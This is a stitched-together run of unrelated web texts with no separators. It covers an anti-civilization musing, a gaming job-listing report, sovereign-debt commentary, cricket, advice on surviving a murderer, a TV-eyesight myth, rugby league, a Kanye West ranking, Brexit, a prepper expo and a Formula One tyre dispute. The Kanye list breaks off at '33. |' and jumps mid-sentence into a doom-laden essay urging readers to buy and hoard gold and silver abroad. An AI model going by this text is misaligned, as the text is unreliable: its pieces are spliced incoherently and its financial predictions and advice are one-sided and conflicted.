When I was a child I imagined the woods behind my home extending for miles and miles, perhaps endlessly. I believed that I could freely roam them, delayed only by my little feet. One day my mother told me those woods were owned, that everything is owned by someone. My life is nothing less than daily coming to terms with the insanity of a world where the woods are not wild and free. I think my belief in the god of civilization ended when I was told that this god sanctioned and blessed possession and destruction of wilderness. When the dream of the endless woods died in me I came to see that so much of the god preached from the pulpit was a petty diety, created in the image of civilized man, not worthy of the Creator God. When I read that Calvin had Servatus burned alive in Geneva over a theological dispute, I realized that Calvin and later Hobbes worshiped the god of murderous Cain, not the God who chose Abel and laments Tubel-Cain’s forging of iron and Nimrod’s war-machine.
There is no longer anything wild and free over the next hill. All you will find are filthy cities, factories, outlet malls, military bases, judicial centers. Remove your gaze from this monstrosity, and look toward the earth. Observe and learn from the flowering weed that cracks the pavement, so full of power, hopeful energy, creating beauty amid the desolation. Aren’t you a sweet, free spirit, a flowering weed that breaks through the asphalt, a serendipitous encounter who makes life bearable? Keep breaking out of the darkness of civilization. Thrust, reach up, display your beauty and freedom in ecstasy. Expand and expire for all to see, until you are crushed.EverQuest PS3 Outed by Job Listing
While DC Universe Online was Sony Online Entertainment’s fastest selling game ever, the EverQuest series has easily been SOE’s most successful franchise, with the massively multiplayer online role playing game become a critical and commercial hit that spawned a sequel as well as a spin-off PS2 series. The MMO EverQuests have always been only available on PC, but a new job listing hints that the franchise may be headed to PS3.
Over on Gamasutra, three separate job listings show the PS3 as the platform for EverQuest, with the adverts clearly stating that they are talking about EQ Next:
The next installment of the EverQuest franchise is SOE’s next great product that pushes design and technological barriers to expand the nature of the MMO genre. Set in a re-imagined version of the well-loved world of Norrath, EQ Next has its sights set on being as genre-breaking as “EverQuest” and “Planetside” were when SOE originally released them. Come join us as we build the next big thing.
With all three advertisements listing the PS3 as a platform, it seems unlikely that an error was made twice – but we’d still recommend taking this information with a grain of salt.
SOE showed that they are willing to bring MMOs to PS3 with DCUO and Free Realms, but, with The Agency canceled, they haven’t officially announced any further PS3 MMOs. Would you like to see EverQuest come to PS3? Let us know in the comments below.Bill Gross manages the world’s largest bond fund (Pimco: managing more than a Trillion Dollars).
As such, he has to be considered one of the world’s top bond vigilantes.
But Gross says in his latest investment outlook that austerity may not work to lower sovereign debt:
Granted, sovereign debtor nations are now saying all the right things and in some cases enacting legislation that promises to halt growing debt burdens. Not only Greece and the southern European peripherals, but France, the U.K., Japan, and even the U.S. are sounding alarms that might eventually move them towards less imbalanced budgets and lower deficits as a percentage of GDP.
Still, credit and equity market vigilantes are wondering if in many cases sovereigns haven’t already gone too far and that the only way out might be via default or the more politely used phrase of “restructuring.” At the now restrictive yields of LIBOR+ 300-350 basis points being imposed by the EU and the IMF alike, there is no reasonable scenario which would allow Greece to “grow” its way out of its sixteen tons. Fiscal tightening, while conservative in intent, leads to lower and lower growth in the short run.
Tougher sovereign budgets produce government worker layoffs, pay cuts, reduced pension benefits and a drag on consumption and the ability of the private sector to accept an attempted hand-off from fiscal authorities. Recession becomes the fait accompli, and the deficit/GDP ratio moves ever higher because of skyrocketing risk premiums and a plunging GDP denominator. In many cases therefore, it may not be possible for a country to escape a debt crisis by reducing deficits!
In other words, when a highly-indebted nation implements fiscal austerity and slashes spending, it can increase unemployment and slow spending, deepen the country’s recession, and thus cause creditors may look at the country’s economy as more risky, thus requiring more of a risk premium, so that the cost of funding it’s debt increases.
As Joe Weisenthal notes:
This isn’t just a theoretical point. Countries have already experience this (see: Ireland). And we’re back left wondering whether anyone has any understanding of sovereign debt. Ireland cuts its spending, and its debt problem gets worse.
If austerity isn’t the answer, and given that massive new borrowing at high interest rates isn’t the answer? what should countries experiencing a sovereign debt crisis do?
For starters, the ability to create credit to loan to the beleaguered countries should be taken away from private banks which charge huge fees to their own governments for doing something which every sovereign nation has the inherent power to do itself.Michael Vaughan's criticism of the England side is "unfair" according to England captain, Joe Root.
Vaughan, Root's boyhood hero, branded England's batting "appalling" on the BBC's Test Match Special and suggested it was born from "a lack of respect" for the values of Test cricket. "They look like they are playing a T20 game," he said.
England were bowled out for just 133 in the second innings at Trent Bridge, succumbing to the second biggest defeat, in terms of runs, in their history against South Africa. Across the game, they lost several wickets to oddly aggressive strokes, with Root himself guilty of a loose drive in the first innings and Jonny Bairstow and Moeen Ali falling in similarly aggressive fashion in the second innings.
It was England's seventh loss in their 10 most recent Tests. And it left Vaughan both unimpressed and suggesting that England were struggling to adjust having just played several months of white-ball cricket leading into the ICC Champions Trophy.
He was not alone in his condemnation. Another former England captain, Nasser Hussain, blasted England for playing a "rubbish brand of cricket" on Sky Sports, while Geoff Boycott described the performance as "absolute tripe" on the BBC.
But Root, who has seen Vaughan as a mentor, countered by saying England had simply suffered a bad game and that he "couldn't believe" Vaughan would suggest such a thing.
"That's very unfair," he said. "I can't believe he's actually said that, to be honest.
"We pride ourselves on winning series like this and unfortunately we've played poorly this week."
While Root admitted some of England's batting was "disappointing," he insisted the result was not a fair representation of the team's quality. He accepted, though, that England's batsmen were struggling to adapt between limited-overs and Test cricket and warned they would have to learn the lessons quickly if they were to win a series that is currently squared at 1-1.
"It was very disappointing the way we played today," Root said. "We're a side that doesn't like giving anything away and unfortunately today that wasn't a fair representation of how good we are as a team.
"It's important to stay calm. There's a lot of cricket left to be played in this series. It's important we don't sulk and we don't get too down on ourselves. We're a good side and we don't lose that overnight.
"We need to learn the lessons quickly from this week. We didn't assess the situation well enough in the first innings and then from that we couldn't find a way to get back into the game.
"A lot of sides do [struggle to adjust between formats] in world cricket: the amount of white-ball cricket we play and the crossover between formats.
"Part of Test cricket is trying to find a balance [between defence and attack] and, if it's not your strength, you build it into your natural game. You have periods where you can absorb a bit of pressure and find the right moment to apply it when chances come along.
"Throughout this game we have not done that very well at all. We are capable of doing it and have done it previously but this wasn't a very good example of it.
"But it's part and parcel of Test cricket. We need to be better at that. There's no shying away from it. We need to make sure we learn quickly and, if we are in a similar situation at The Oval, for example, we play it slightly smarter.
"The ways we've gone about it previously haven't worked so we have to look for something different and make sure we work very hard at that and make sure it sticks."5
Be as cooperative as you possibly can be. Do what the murderer asks you to do without asking questions.
Avoid making eye contact, as this can be seen as threatening.
Don't make any sudden movements that the murderer might interpret as you trying to fight.
Always be on the lookout for opportunities to run or incapacitate the murderer.
If the murderer finds you and it is not possible to escape or fight back (If they have a gun and you only have a baseball bat, for example), it is important to know how to interact with them in order to increase your chances of survival. If the person's primary objective is to steal things or commit another crime, they may not really want to kill you if it's not necessary.Daven Hiskey runs the wildly popular interesting fact website Today I Found Out. To subscribe to his “Daily Knowledge” newsletter, click here.
When you were little, your mom probably told you not to sit too close to the television, lest you irreparably harm your vision. But you can file this popular warning in the myth file, right next to "your face will get stuck that way"—in reality, sitting close to the TV won't hurt your eyes. So why do parents the world over still say this to their kids? Because there was actually a very brief period of time where sitting close to the TV could damage your eyes—at least, if you owned a General Electric TV in the late 1960s.
In 1967, General Electric informed the public that many of their color televisions were emitting excessive x-rays due to a “factory error." Health officials at the time estimated that the amount of radiation coming from these defective TVs was about 10 to 100,000 times higher than the rate considered acceptable. They recommended keeping children a safe distance away—but as long as you were a few feet away and didn’t watch TV for more than an hour at a time or so at close range, you were probably fine. General Electric recalled all of the defective TVs and fixed the problem by putting a leaded glass shield around the tubes, making up close and personal television viewing safe once again.
"It's not an old wives' tale; it's an old technology tale," Dr. Norman Saffra, the chairman of ophthalmology at Maimonides Medical Center in Brooklyn, told the New York Times. "Based on the world our grandmothers lived and grew up in, it was an appropriate recommendation."
At worst, sitting excessively close to the television these days will give you a headache and possible eyestrain. This can sometimes be a problem for kids, who often watch TV while lying on the floor; looking up at the television this way causes more eyestrain than looking straight at the TV or down at it. (The same applies for computer monitors.) Eyestrain can also occur when watching TV or looking at a computer screen where the light level of the screen is very different than the light level of the surrounding environment. Thankfully, eyestrain isn't permanently damaging, and is very easy to fix—just take a break from watching TV.
Check out more interesting articles from Daven over at Today I Found Out and subscribe to his Daily Knowledge newsletter here.Jul 28th, 2017
Jul 28th, 2017
It was one of the more unique premiership reunions.
A 10 year celebration of a premiership that, according to the NRL history books, doesn’t exist.
Regardless, Melbourne Storm’s all conquering team of 2007 gathered at a function centre just a short pass from their headquarters.
That team boasted some magnificent names and many of them joined coach Craig Bellamy for the anniversary lunch.
Among them, Matt King, Greg Inglis and a few others who are still running around for the Storm, namely Cameron Smith, Cooper Cronk and Billy Slater.
The room was full of Rugby League royalty.
But there was also an elephant in the room… and there was simply no avoiding it.
“They can erase what they like, but they’re not going to erase these guys’ memories of what they did in 2007” said Bellamy at the function.
It was in front of more than 81,000 fans on September 30, 2007 that Melbourne Storm tore Manly apart, winning the Grand Final 34-8.
The Storm set the tone for the match early when winger Anthony Quinn scored.
Melbourne had dominated the first half, but only led Manly 10-4.
The second half was a complete domination by the Storm who careered away to win by the massive margin.
Suddenly the club had another premiership trophy in the cabinet back in Melbourne, something to sit proudly alongside its 1999 prize.
Almost three years later, the most brutal of retributions would hit Melbourne.
The club had been found guilty of massive salary cap breaches in the seasons between 2006 and 2010.
On April 22, 2010 a stony faced, emotionless NRL boss, David Gallop, stripped Storm of its 2007 and 2009 Premierships.
There were other penalties, including the stripping of points, but nothing would come close to the pain of handing back those trophies.
“It was like a death in the family,” reflected Matt King.
“We worked so hard as a group for five years to achieve what we did that night,” King added.
For the proud sporting city that is Melbourne, this was warfare.
Although Melbournians are absorbed by all things AFL, Melbourne Storm has become a proud part of the family.
To this day, although conscious of the wrongdoings of Storm bosses back then, the city remains bitter as to the way the NRL went about its business.
It was brutal.
“Unfortunately, it (the 2007 premiership) will forever be tarnished… people will call us cheats and I’m OK with that,” King said.
There was some form of vengeance when the club claimed the 2012 Premiership.
Victorians were all too aware of how much that hurt the Sydney and Brisbane NRL fraternity and how much glee the fraternity gained from seeing Storm stripped of those two premierships.
The 10 year reunion came as Storm prepare to tackle Manly at AAMI Park on Sunday, the team they defeated to win that title in ’07.
That irony will be of little consequence to Bellamy and his men who’ll be more intent on using the game as another stepping stone to the finals.
There’s every chance Storm will get to add another trophy to that cabinet.
There’s plenty of room.
That alone should act as motivation.
That, and wiping the smirks that remain on a few faces up north ten years on.Kanye West released The Life of Pablo this week to wide acclaim (I called it a near masterpiece), and while many people are already trying to put the album in its historical context, I’m going to do something even more stupid and reckless and try to rank all the songs he’s ever put out. Some words on the rankings:
A) I left off Watch the Throne, G.O.O.D. Music, mixtapes and songs he produced and guested on. These are just the songs he released on his solo albums. I did this because the list was already too long and I’m sorta lazy.
B) I’m skipping all the skits, too. I hate the skits. No skits in the rankings.
C) Ranking Kanye songs is impossible. He’s got 93 songs and I like or love about 89 of them. I did my best, and remember: The reason I ranked the song you love too low is because I personally have an issue with you. Yes, you.
Here’s the list:
93. FACTS (Charlie Heat Version)
It’s not too late to pull this Nike takedown off the final version of TLOP, Kanye, whenever that comes out.
92. The New Workout Plan
I have always hated this song. I hated it the moment I heard it and I continue to hate it to this day. It’s a rock in my life, something I can always count on.
91. Bring Me Down
Lot of Brandy in this song. Like, a lot of Brandy.
90. My Way Home
89. Drunk and Hot Girls
This song is almost saved by a bizarre and wonderful bridge from Mos Def. Almost.
88. Freestyle 4
87. Hell of a Life
This song on My Beautiful Dark Twisted Fantasy had some early ideas that he’d explore more on Yeezus, but the hook is tonally a mess and the weird harpsichord interlude has never done anything for me.
86. Last Call
85. I’ll Fly Away
84. I’m In It
This song is probably too low, but it was the one song on Yeezus where West’s confrontational lyrics didn’t come across as clever, funny or knowingly antagonistic – he just sorta sounded like a jerk.
83. 30 Hours
82. Bad News
81. Pinocchio Story
A six-minute Auto-Tune freestyle in Singapore is how West closed out 808s & Heartbreak, and while I do think it fits as a stark closer to the album, it’s still a six-minute Auto-Tune freestyle taped in Singapore.
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80. Send It Up
79. Big Brother
78. Barry Bonds
West was so eager to get Lil Wayne in Graduation (he was the best rapper alive at that point) that he snuck this in, even though it’s the weakest song on the album.
77. Late
76. Addiction
75. Never Let Me Down
74. I Love Kanye
I laughed the first time I heard this self-aware little song. I laughed the second and even third time. By the fourth time I was hitting the skip button.
73. Guilt Trip
72. Breathe In Breathe Out
71. Spaceship
70. Two Words
69. See You In My Nightmares
I understood why Kanye put Auto-Tune on himself on 808s & Heartbreak, but I will never understand why he put it on Lil Wayne.
68. Blame Game
67. Welcome to Heartbreak
I have a very, very soft spot for 808s & Heartbreak and still think, even to this day, that it’s under-appreciated as a record. Welcome to Heartbreak has an ineffective verse from Cudi, though, and is the one time in the album the sadness feels like a bit of a put-on.
66. Famous
65. Hold My Liquor
64. Devil in a New Dress
63. I Wonder
62. So Appalled
Poor Jay Z. The guy had two features on My Beautiful Dark Twisted Fantasy and he gets showed up by Nicki Minaj on Monster and Pusha T on So Appalled, and then I leave off Watch The Throne from this list for no good reason. Sorry, Jay.
61. Fade
60. Gold Digger
This song still makes me smile, even if it’s aged terribly. It should probably be ranked lower than this, but I have to give it credit for being a legitimate cultural phenomenon when it came out.
59. Family Business
58. No More Parties in L.A.
I love this song, but it doesn’t belong on The Life of Pablo. It’s one of the best songs ever that clearly has no place on an album. Bring back G.O.O.D. Music and release it there, Kanye. Again, we still have time to fix this.
57. Low Lights
56. Slow Jamz
55. The Glory
54. Highlights
Kanye has done some funny things in his career, but issuing a call and response to the women working out in Equinox gyms might be the funniest. He put a call out to spin classes.
53. Coldest Winter
52. Celebration
52. Love Lockdown
The drums at the end of this song are as sonically pleasing a thing as West has ever put on a song.
51. Waves
50. Everything I Am
This is a song that some people hate, but I find it beautiful, and it still cracks me up that he tried to give the song to Common, Common didn’t want it, and West said “screw it” and just put it on his own album to prove a point.
49. Champion
48. Get Em High
47. Who Will Survive in America
I guess some people might consider this song an outro as opposed to a song, but I’ve always taken it as a standalone thing, and the abridged reading of Gil-Scott Heron’s “Comment #1” is as powerful and bleak a closing statement as I’ve heard on an album.
46. Father Stretch My Hands, Pt. 2
45. Heartless
44. Real Friends
43. Father Stretch My Hands, Pt. 1
42. Paranoid
I think this song is super underrated. I still put this on at parties. It’s an 80s synth dance joint and people should play it more.
41. Heard ‘Em Say
40. On Sight
39. Homecoming
38. Street Lights
I know a ton of Kanye fans who hate this song, but I think it’s one of the most cinematic songs he’s ever recorded. It’s one of those songs you put on in your headphones and you feel like you’re in a movie, no matter where you’re going or what you’re doing.
37. School Spirit
36. RoboCop
35. Dark Fantasy
I’ll never forget where I was when I first heard Nicki Minaj’s fake British accent that kicks off Dark Fantasy, the opener to West’s bombastic, magnificent My Beautiful Dark Twisted Fantasy. I was living as an unemployed writer in San Francisco, the type of person who had a lot of free time to fall in love with an album. I put this album on my headphones and went for a walk down Fulton St. to Divisadero, and after that Nicki intro and the chorus of women singing, the beat dropped. I stopped walking. I had to. “I fantasized about this back in Chicago,” he starts, and I realized his entire career had built to this moment, this beat, this song, this album.
34. Good Life
33. |
grows even larger, confidence in the dollar will evaporate. There will be a rush for the exit gates. I fully expect that when this happens, the U.S. will impose capital controls in an effort to contain the crisis and keep it from spreading. The capital controls could come in the form of different color money—one inside the country and one for outside the U.S. There will be an effort by the Fed to restrict the free flow of dollars out of this country as there will be an effort to keep dollars from returning.
Desperate Measures Are Coming
The New York Times recently published an article about the U.S. government seizing money in foreign banks. The government’s justification was that it was ill-gotten money. This was done without warning or the due process of law. [13]
There have been similar instances in our past where in a time of crisis, the government has seized assets. The most blatant example of this was the 1933 confiscation of gold by the Roosevelt Administration. [14] Many believe (just like they did back in 1932) that it could not happen here again. I believe that it will. Debtor nations always resort to policies of asset confiscation when they get desperate. They seize assets, put in capital controls and shut down banks. The recent example of Argentina should be fresh in everyone’s mind. When governments get desperate, they will do anything in their power to keep functioning. Capital controls never work. They only hasten the currency's collapse.
Who or What Will Be Their Scapegoat?
Despite the failure of these policies, they are repeated over and over again throughout history. Politicians are incapable of leveling with the people. They have a very hard time admitting that they have misspent and mismanaged the nation’s economy. Instead they look for scapegoats—anyone that they can blame for their own mismanagement. As the currency is debauched and spirals worthlessly downward in value, it will be blamed on currency speculators, foreigners or the owners of precious metals. In times of crisis, government always needs a scapegoat. The wrath of the people becomes too great and it needs to be assuaged. The scapegoat, whomever or whatever is chosen, becomes a deflection for politicians to use to distract citizens from the real cause of the crisis which is too much money creation.
If there is one point that I hope to make in this entire essay, it is this: The dollar is heading for a crisis never imagined before in this nation’s history!
The U.S. is no longer the nation it once was. The U.S. is no longer self sufficient in manufacturing, no longer self sufficient in energy and no longer self sufficient in capital. This will make the upcoming crisis that more severe. We can’t function without energy, so we have to import it. Many of the things we use from farm equipment to industrial machinery are no longer made here. Just look around your house and examine the labels of the things you buy and where they are made. You will see how dependent we have become on foreign manufacturing. Chances are that your TV, stereo, computer, printer, cell phone, clothes, tableware or car were manufactured overseas. We consume and don’t save. We must borrow money from the rest of the world to pay for our own consumption. What happens when the rest of the world says "No!"? We are not an empire as many would suggest. Our only form of tribute is getting foreigners to accept our dollars. We use gentle persuasion when necessary and overt persuasion when we are threatened. But the U.S. can’t place an army in every country to enforce the acceptance of our dollars.
The 1930s All Over Again?
Some believe that the next dollar crisis will bring war with the rest of the world. In a similar fashion, we seem to be following in the footsteps of the 1930s from trade wars and tariffs to giant government spending programs funded through credit and the inflating of the currency. It is hard to believe that after what we went through during the 1920s and 30’s, we would repeat the very same mistakes today. Yet that is exactly what we are doing now. The 1929 Crash and the Great Depression that followed were directly attributable to the expansionary credit policies of the Fed during that decade. The crash that resulted and the subsequent Depression that followed can be blamed on inept monetary and fiscal policies. It was the narcotic of credit that led up to the Crash. Let me repeat that thought. It was irresponsible fiscal and monetary policies that turned a stock market crash into a prolonged depression.
Here we are seventy years later doing the very same thing. It began with the Chairmanship of Alan Greenspan in 1987. Since his tenure at the Fed, money creation has known no limits. This can be seen in the chart of M3 Money Supply Index since his reign began in 1987. There has never been anything like it in world history. The only similar comparison would have to be John Law and 17th century France. Yet Greenspan’s money creation penchant makes John Law look prudent by comparison. It would be safe to say there has never been anything like this in monetary history. This is alchemy taken to the outer limits. What Greenspan has done and is now in the process of doing is the equivalent of creating a monetary Frankenstein. The only problem is that he does not know how to control the monster. Frankenstein is loose and traversing the monetary landscape wrecking havoc on anything he touches. We must now prepare ourselves for the consequences.
A Monetary Storm on the Horizon
What is coming is a monetary storm that, if met up with additional storms in the financial markets and in the economy, will collide to bring us the Perfect Financial Storm. When I began my Storm Series back in July of 2000, I still believed that we had a chance of avoiding the Perfect Financial Storm. If we had only let the bubble deflate, the malinvestments to be liquidated and market forces to restore balance, the Perfect Financial Storm might have been avoided. It might have been painful, but we could have worked our way through it. Instead the Fed has fought a credit bubble by creating additional bubbles with credit. So today we not only have a bubble in the stock market, but even bigger bubbles in the bond market, in real estate, in mortgages and in consumption. There is now way out of what is coming. There is no going back to the way things were. There is too much speculative capital in the financial system, too much debt in the economy and too many asset bubbles. Greenspan has taken us beyond the point of no return. The only thing left to do now is to get prepared.
It’s time to get prepared for the storm.
The best way to get prepared is to get out of debt and to start building an ark in order to ride out the coming storm of the century. This means owning and accumulating precious metals both silver and gold.
Accumulate Precious Metals
I would recommend owning both silver and gold with a greater weight given to silver. Silver has more upside potential given its scarcity and price decline. It has already lost 90% of its value since reaching its peak back in 1980. I would take physical delivery of your gold and silver purchases whether you are buying bars or coins. Avoid storing your gold or silver in unallocated form. When you store bullion in an unallocated form, you become an unsecured creditor of the bullion bank. This means you are subject to the bullion bank’s solvency. Under no circumstances let yourself be talked into taking delivery and title in either unallocated, pooled or certificate form. A gold or silver certificate is some else’s promise to pay you either gold or silver. It is in effect an IOU.
Another strategy to consider is keeping or storing your bullion outside the country. Avoid storage in U.S. banks or foreign banks that do business here in the U.S. Bullion held in U.S. banks could be subject to confiscation by the Fed when the monetary storm hits in full force. Why do you think Warren Buffett took delivery of his silver overseas?
Own Gold & Silver Equities
In addition to owning bullion, you should also consider gold and silver equities. Pure silver equities are in fact rare. I can count them on my two hands. In the financial storm that is coming, there is going to be a mass exodus out of paper with people looking for a safe haven that isn’t someone else’s liability. This will create an enormous demand for precious metals. There simply isn’t enough available silver and gold bullion to handle this demand. There are tens and tens of trillions of dollars invested in paper assets. Just imagine what will happen when some of this money moves into precious metals. The money will be moving into bullion first and then equities.
When the price of bullion skyrockets and becomes unavailable, there will also be a mad rush for anything associated with gold and silver. Equities would move even faster than the price of bullion. At some point during the crisis, all of that money is going to be looking for safety and there are very few safe choices. Most money will move into foreign currencies because it is the only market large enough to accommodate it. However, the big move will be in the metals market both in bullion and in the precious metal equities. If you are buying precious metal equities, you want to own unhedged companies with good properties, mines in safe jurisdictions and companies with good cash flow and a strong balance sheet.
Consider Foreign Government Bonds
There simply aren’t a lot of alternatives in a monetary and financial crisis besides silver and gold. There are foreign currencies, but they are merely a substitute for silver and gold. All countries are deprecating their currency. It is simply a question of how much and how fast they are doing it. If you are uncomfortable with too large a position in precious metals, then your next choice would be to own government bonds of a strong currency country—if there is such a thing.
Get Out of Debt!
I might add that you don’t have to be rich to get yourself prepared. You can begin by doing your best to get out of debt or at least stop taking on more debt. However, if you are heavily indebted, I feel the time is running out for you unless you begin liquidating that debt now.
If in Cash, Consider a Small Investment
If you are just beginning to invest, you can start out by investing in coins or a precious metals mutual fund. If you are fortunate to be able to invest more, I would look at owning bullion in larger quantities. You can even invest in mutual funds that strictly own bullion, several which own that bullion outside the jurisdiction of the United States.
Begin Now!
You must understand that the time for becoming prepared is running short. You must begin now without hesitation. Some people are perpetual procrastinators; while others are doubting Thomases. Not unless they can see the storm clouds directly overhead are they ever prepared to act. If you are one of these types, I don’t know what else to tell you other than to challenge you to think for yourself.
Do you believe that asset bubbles can continue forever or that debt can bring prosperity?
If you have a lot of debt, do you really feel secure or wealthy because of it?
If you are banking on the government or the Fed to bail you out of your problem, is bankruptcy and welfare a desirable option?
Look around you. Open your eyes. Read the headlines.
Ask yourself what is it that you see?
Become informed. Get educated.
In the final analysis, the only person responsible for your outcome is yourself.
I began this series of essays with the title “Catalyst.” I saw the precious metals market—especially silver—as a sleeping giant waiting for a catalyst to ignite it. That catalyst I believe will be a financial and monetary storm that is kindled by an unforeseen or unexpected event, either geopolitical or financial. Monetary authorities are desperately trying to keep the financial markets under control, but they are gradually losing their grip. That is usually how these maelstroms begin. Something happens that is unexpected that turns the tide of events. A bomb is dropped, an archduke is shot, a stock market crashes and suddenly the course of history changes. History has a way of repeating itself. The same mistakes are made over and over again as if to remind us of Santayana’s dictum that those who fail to learn from history are doomed to repeat it. Each generation must learn by making its own mistakes. It is human nature and hubris to think we are smarter then those who have gone before us. Human nature never changes. It is the same today as it was yesterday. All knowledge is folly unless it is turned into wisdom. Sadly, it is wisdom that we lack most both in Washington and on Wall Street. So history's same calamities are about to revisit us. It is time to prepare. - JP
References:
[1] CPM Group, Silver Survey 2003, p.31
[2] Ibid, p.27
[3] Ibid, p.17
[4] Ibid, p.26
[5] Silver Standard, 2002 Annual Report (pdf), p.26.
[6] Book of Genesis, chapter 23, verses 10-15.
[7] Rothbard, Murray N., What Has Government Done to Our Money?, p.32-33.
[8] Ibid., P.9.
[9] Warburton, Peter, Debt & Delusion, Trafalgar Square, 1999, p.12-19.
[10] Ibid, p.18.
[11] The Richebächer Letter, June, 2003, p.2.
[12] Warburton, Peter, Debt & Delusion, Trafalgar Square, 1999, p.35.
[13] Lictblau, Eric, US Cautiously Begins to Cease Millions in Foreign Banks, The New York Times, May 30, 2003.
[14] Smith, R. Maurice, Preparing to Survive The New Age/New World Order, Preparedness Publications, Inc., Reno, 1995, p.197.
* John J. McCusker, "Comparing the Purchasing Power of Money in the United States (or Colonies) from 1665 to Any Other Year Including the Present" Economic History Services, 2001, https://www.eh.net/hmit/ppowerusd/
** Where not specifically stated, charts courtesy of CNNMoney, StockCharts.com and Bloomberg.
* Full Disclosure *
The author, James J. Puplava, owns silver and gold bullion & equities as well as foreign government bonds for client and personal accounts.The remaining 27 EU countries adopted Brexit negotiating guidelines in a show of unity ahead of talks with Britain, European Council President Donald Tusk said on Saturday.
"Guidelines adopted unanimously. EU27 firm and fair political mandate for the #Brexit talks is ready," Tusk tweeted as leaders met in Brussels.
The guidelines call for a "phased approach," noting that progress must first be made on the issues of citizens' rights and a financial settlement before negotiations on a possible post-Brexit trade agreement can begin.
"We are ready," said the EU's chief Brexit negotiator, Michel Barnier. "We are together."
The joint announcement came as the 27 EU nations met in Brussels without British Prime Minister Theresa May, one month after she triggered two years of exit talks on March 29.
'Unity in action'
European Commission President Jean-Claude Juncker hailed the summit's agreement, noting in a tweet that it took under 15 minutes for leaders to approve. He said it showed "unity in action."
Tusk earlier noted that leaders "need to remain united as the EU 27" but that EU unity is also in Britain's interest since it could boost chances for a swift Brexit deal.
German Chancellor Angela Merkel echoed those comments, saying that although the bloc wants to have "good relations" with Britain, "we as 27 also want to represent our interests. That has succeeded extremely well so far."
The final bill
Juncker said that while the bloc had not presented Britain with a precise bill for its financial obligations to the bloc, "cautious estimates" put the figure at up to 60 billion euros ($65.4 billion.)
"We would like first... to hold negotiations over the terms of Britain's divorce," Merkel said. "Of course, financial issues are some of the questions about the divorce."
"We want to have good relations with Britain in the future, but we as 27 also want to represent our interests," the German chancellor added.
French President Francois Hollande said while the bloc did not want to punish Britain, the UK would be weaker once it was outside the bloc.
"It must not be punitive, but at the same time, it is clear that Europe must defend its interests and that the United Kingdom will have a weaker position tomorrow outside of Europe than it has today inside Europe,"
According the wording of the guidelines "A single financial settlement - including issues resulting from the MFF (Multiannual financial framework - the EU's 7-year budget which ends in 2020) as well as those related to the European Investment Bank (EIB), the European Development Fund (EDF) and the European Central Bank (ECB) - should ensure that the Union and the United Kingdom both respect the obligations resulting from the whole period of the UK membership in the Union. The settlement should cover all commitments as well as liabilities, including contingent liabilities."
Some of the EU leaders were already discussing how to deal with British negotiation tactics. Belgian Prime Minister Charles Michel warned that London may try to divide the bloc to its advantage.
"Maybe the British government will do its utmost to split the 27 nations and it is a trap we need to avoid," Michel said.
Drawing clear lines
Tusk said the first priority will be to ensure the rights of EU and British citizens living on each other's side who will be immediately impacted by the split. Around 3 million citizens from the remaining EU 27 nations live in the UK while up to 2 million Britons live on the continent.
"We need real guarantees for our people to live, work and study in the UK and the same goes for the Brits," Tusk added.
Although the EU guidelines say that trade talks cannot begin without "sufficient progress" on the divorce issues, leaders were still discussing how to define such progress.
Juncker told reporters on Saturday that Britain had blocked billions of euros in EU spending last week. British officials said they were unable to approve a package of 6 billion euros in spending measures: "We sought to delay a vote on a sensitive file in keeping with our pre-election protocol," a British official said.
Juncker and EU officials were unimpressed and the EC President commented "It would be desirable and it would facilitate the beginning of the negotiations if the UK were to be able to withdraw the reserve it has entered."
Divorce talks with the British government are expected to begin after the UK holds snap elections on June 8, but the EU is due to give an official mandate to Barnier on May 22.
rs,jm/sms (AP, AFP, dpa, Reuters)And if, for instance, a devastating storm surge occurs or the banking system crashes, Alvin Jackson, a jazz musician from New Orleans, wants to be ready. Mr. Jackson, 66, was at the exposition Saturday morning, checking out the Ark 290: a month’s supply of freeze-dried food, helpfully contained in a portable plastic bucket. He had already picked up a brochure for a rain catchment basin designed to be installed on gutters. Whatever the scenario, he planned to be prepared.
“People think that preppers, and I use that term with caution, are guys in beards who live in bunkers and bury ammunition in their yards,” said Mr. Jackson, a dapper man in a pageboy cap who had come to the conference with his wife, Marlane. “But I went through Katrina, and I’m not crazy. I know from experience that things go south, and it can happen just like that.”
Image Heirloom vegetable seeds from White Harvest Seed Company. Credit Steve Hebert for The New York Times
Mr. Jackson’s cautions notwithstanding, it would be easy to assume that a prepper convention would be peopled with right-wing zealots with a taste for guns and gold, or what survivalists like to call “the bullet-and-bullion set.” But while there was one man standing at a booth handing out business cards for Operation American Spring, a movement to impeach President Obama, there was also a countervailing element of organic gardeners, homeopathic healers and publishers selling books on the commercial uses of hemp.
“I definitely expected more tin hats,” said Mike Vogt, president of the Staying Home Corporation, which produces tornado- and bulletproof safe rooms marketed as Hide-Away shelters. “I guess I’m proud that our product tends to appeal to both sides of the aisle.”Maurizio Arrivabene doesn't want argument with Pirelli
Maurizio Arrivabene says Ferrari do not want to get involved in a "fight" with Pirelli after Sebastian Vettel's spectacular tyre failure in the closing stages of the Belgian GP.
Vettel was running third with less than two laps to go in Sunday's race when his car's right-rear tyre exploded just after he passed through Raidillon corner. It was the second such failure of the weekend, after Nico Rosberg's during Friday practice.
The two blowouts have re-opened debate about the durability of Pirelli's tyres and, by extension, the notion that they are deliberately designed to wear in order to provoke pit stops and provide entertainment.
If the line between providing entertainment and ensuring safety is a fine one then it was obvious where Vettel stood afterwards. Angrily branding the situation as "unacceptable", the four-times world champion then made a hasty departure from Spa.
Pirelli's point of contention was that Ferrari had attempted to run one set of tyres for 29 laps on a track that places more stress on them than just about any circuit on the calendar.
Arrivabene, however, tried to calm the situation after the race. "I don't want to start with this story back and forward - 'Maurizio said about Pirelli, Pirelli said about Ferrari' et cetera et cetera," the team principal said. "Now the race is gone I understand the reason why, as you understand, why Seb was disappointed.
"I don't want to open any kind of fight."
Even so, Pirelli have smashed the ball firmly back towards the teams and the FIA by saying they wanted a mandatory limit placed on tyre mileage - 50 per cent of a race distance for the prime and 30 per cent for the option - two years ago, but that the proposal was rejected.
Sebastian Vettel says he had no indication of tyre trouble after a late blow-out prevented the German from taking a podium place in the Belgium Grand Prix Sebastian Vettel says he had no indication of tyre trouble after a late blow-out prevented the German from taking a podium place in the Belgium Grand Prix
Speaking afterwards, Pirelli motorsport manager Paul Hembery expressed surprise that Ferrari had attempted to make one set of tyres last so long.
However, Arrivabene defended the decision and said it had been decided beforehand with the agreement of the Pirelli engineer Ferrari use.
"The strategy was absolutely right, with one stop, and I want to clear that up immediately," he said.
"It was our strategy, Plan A, I mean the main plan before the race. So we decide that at 11 o'clock this morning.
